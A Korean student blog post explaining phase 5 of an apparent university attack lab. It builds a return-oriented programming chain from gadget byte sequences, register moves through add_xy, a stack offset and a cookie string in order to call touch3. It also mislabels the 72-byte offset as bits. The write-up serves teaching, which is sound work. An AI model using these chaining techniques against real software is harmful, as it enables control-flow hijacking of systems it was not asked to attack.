본문 바로가기

관리하지않음/대학과제

attack lab phase 5 설명

일단 기본적으로 가젯을 찾아서 푸는 방법은 phase4와 비슷하다. 하지만 이번에는 farm안에있는 add_xy함수를 써야한다.


add_xy를 보면 %rdi, %rsi 레지스터의 값을 더해서 %rax에 저장하는 것을 알 수 있다. 


이것을 바탕으로,

1. %rdi와 %rsi에 rsp의 값과 cookie string을 넣어주고 

2. add_xy를 호출한 뒤

3. %rax를 %rdi에 저장해주고

4. touch3를 호출하면 된다는 것을 알 수 있다.


위를 코드로 설명하자면 다음과 같다.


1. movq %rsp, %rdi

2. popq %rax

3. offset (1번과 string cookie와의 거리차이)

4. movq %rax, %rsi

5. add_xy

6. movq %rax, %rdi

7. touch 3

8. string cookie


pdf를 보고 가젯을 찾으면 된다. 하지만 이 과제가 쉽지 않은게 원하는 가젯이 없을 확률이 크다.

나는 movq %rsp, %rdi의 코등니 48 89 e0와 movq %rax, %rsi의 코드인 48 89 c6이 없었다.

이런 경우에는 여러개의 레지스터를 거쳐서 원하는 destination에 값을 전달해야 한다.


나는 %rsp -> %rax -> %rdi와

%eax -> %ecx -> %edx -> %esi를 통해서 각각의 레지스터에 원하는 값을 전달했다.

(farm마다 있는게 달라서 사람마다 이런 루트가 다르다.)


내 경우 최종 변경된 코드는 다음과 같다.


1. movq %rsp, %rax  // 48 89 e0 c3

2. movq %rax, %rdi  // 48 89 c7 c3

3. popq %rax            // phase 4와 동일

4. offset                    // movq %rsp, %rax의 아래줄에서 11번줄까지의 거리차이는 9줄 * 8비트 = 72비트 == 48 00 00 00 00 00 00 00

5. movl %eax, %ecx  // 89 c1 08 d2 c3  (08 d2는 pdf에 나와있듯이 아무런 영향을 주지 않아서 중간에 끼여있어도 된다.)

6. movl %ecx, %edx // 89 ca 90 c3        (90역시 윗줄과 마찬가지인 이유이다.)

7. movl %edx, %esi  // 89 d6 08 db c3   (08 db역시 윗줄과 마찬가지이다.)

8. add_xy

9. movq %rax, %rdi

10. touch 3

11  string cookie

5,6,7 번과 같이 가젯 중간에 끼여도 아무런 영향없는것들이 pdf에 나와있다. 그것을 보고 자신의 farm에서 잘 찾아보면 된다.


사람마다 값이 다 다르기 때문에 열심히 계산해야 한다.

나는 illegal instruction이 계속 떴었는데 알고보니 16진수 덧셈을 잘못했었다...

혹시 맞게한것같은데 에러가 계속 뜨면 다시한번 정확하게 계산해보는 것을 추천한다.